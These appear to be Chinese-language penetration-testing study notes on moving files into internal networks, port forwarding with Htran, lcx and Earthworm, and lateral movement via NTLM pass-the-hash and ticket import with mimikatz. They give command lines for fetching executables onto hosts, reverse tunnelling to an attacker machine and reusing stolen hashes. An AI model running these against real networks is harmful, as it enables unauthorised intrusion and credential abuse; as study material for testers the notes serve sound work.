内网信息传输
快速搭建FTP服务器:
python可以安装pyftpdlib来开启ftp服务器
ubuntu下可以:
apt-get install python-pyftpdlib
启动一个ftp服务
python -m pyftpdlib -p 21
默认用户anonymous
快速搭建http服务器
直接启动python -m SimpleHTTPServer 80
默认以当前文件夹作为web目录
WPUT
wput是linux环境下用来向ftp服务器上传的工具
wput ./1.txt ftp://root:root@192.168.1.1
wget
是一个下载文件的工具,wget http://192.168.1.1/1.exe
wget -O 1.exe http://192.168.1.1/2.exe
wget –ftp-user=username –ftp-password=PASSWORD url
vbs下载
vbscript 命令行界面的宿主脚本cscript来运行下载脚本。
cscript.exe download.vbs arg1 arg2 …
这样的形式运行
JScript下载
var url=WScript.arguments(0) 第一个参数,下载的地址
var filepath=WScipt.arguments(1) 文件保存的路径
var xhr=new ActiveXObject(“WinHttp.WinHttpRequest.5.1”); 新建一个activeobject对象
xhr.open(“GET”,url,false);异步发送get请求
xhr.send();
SCP
scp在网络上主机之间复制文件,使用ssh传输数据,并使用相同的身份验证并提供与ssh相同的安全性
已经ssh建立好了连接
scp 1.txt root@192.168.1.1:/root/1.txt
从本地复制到远程
从远程复制到本地:
scp root@192.168.1.1:/root/1.txt /home/1.txt
需要指定端口的话,就在前面加上-P参数:
scp -P 61323 1.txt root@192.168.1.1:/root/1.txt
Rsync
远程数据同步工具,可通过lan/wan快速同步多台主机间的文件
端口转发
是NAT(网络地址转换)的一种应用,在数据包通过网络网关(如路由器或者防火墙)时,可将通信请求从一个地址和端口号组合重定向到另一个地址
端口转发用途举例:
- 在专用局域网内运行公共可以用的游戏服务器
- 渗透测试隐藏真实ip
- 内网渗透时扩大攻击面
端口转发类型:
- 本地端口转发 客户端在本地监听端口,然后转发到服务端,和ssh的连接相同。
- 远程端口转发 客户端和服务端的连接方向是相反的
- 动态端口转发
socks协议 通过代理服务器在客户端和服务器之间交换网络数据包,一个socks服务器将tcp连接代理到一个任意的ip地址,并提供了一个转发udp数据包的放大 ssh的动态端口转发相当于开启了一个socks代理
端口转发的工具
Htran
正向端口转发:
服务端 htran.exe -tran 8888 192.168.1.1 3389
客户端 nc 服务端ip:8888
反向端口转发:
攻击机 htran.exe -listen 1234 8888
服务端 htran.exe -slave 攻击机ip 1234 127.0.0.1 3389
客户端 nc 127.0.0.1:8888
lcx
监听1234端口转发数据到2333端口
本地:lcx -listen 1234 2333
将目标的3389转发到本地1234端口
lcx -slave ip 1234 127.0.0.1 3389
Earthworm:跨平台内网穿透神器
ssocksd
Rcsocks
rssocksv
lcx_slave
lcx_listen
lcx_tran
横向移动移动
kerberos协议
用于身份认证,基于对称密码为用户提供安全的单点登陆鼓舞
包括可信第三方认证服务
优点:
避免本地保存密码以及会话中传输密码,一次凭证不需要反复认证
客户端和服务端可以实现互认
认证的三个阶段:
第一次: 获得票据许可票据(TGT)
第二次:获得服务许可票据(SGT)
第三次:获得服务
进入域内的NTLM认证
pass-the-hash
用户登陆客户端,客户端计算hash
客户端将用户名发送到服务端
服务端生成challenge随机数发送给客户端
客户端使用hash加密这个challenge返回给服务端,称之为“响应”
服务端查询数据库中的hash,用它加密随机数,并将结果域客户端返回的响应作比较,相同认证成功
通过mimikatz进行hash攻击
- 本地抓取hash
- 使用mimikatz中的sekurlsa::pth命令,需要管理员权限
Sekurlsa:pth /user:360sec /domain:360sec.com
/ntlm:hash值
默认弹出cmd,可以尝试查看目标共享:
dir \360secdm1\c$
建立连接过程中mimikatz使用pass-th-hash方式使得我们能够认证成功
pass-the-cache
linux或者mac也可以加入域(likewise)
同样的,加入域的linux主机也可能缓存ticket。
如果获取到ticket,可以在别的主机上使用mimikatz的pass-the-cache功能来导入票据,从而获得响应的权限
获得票据后然后使用mimikatz::kerberos::ptc文件名来导入票据
信任关系sids history跨域:
黄金白银票据+dcsync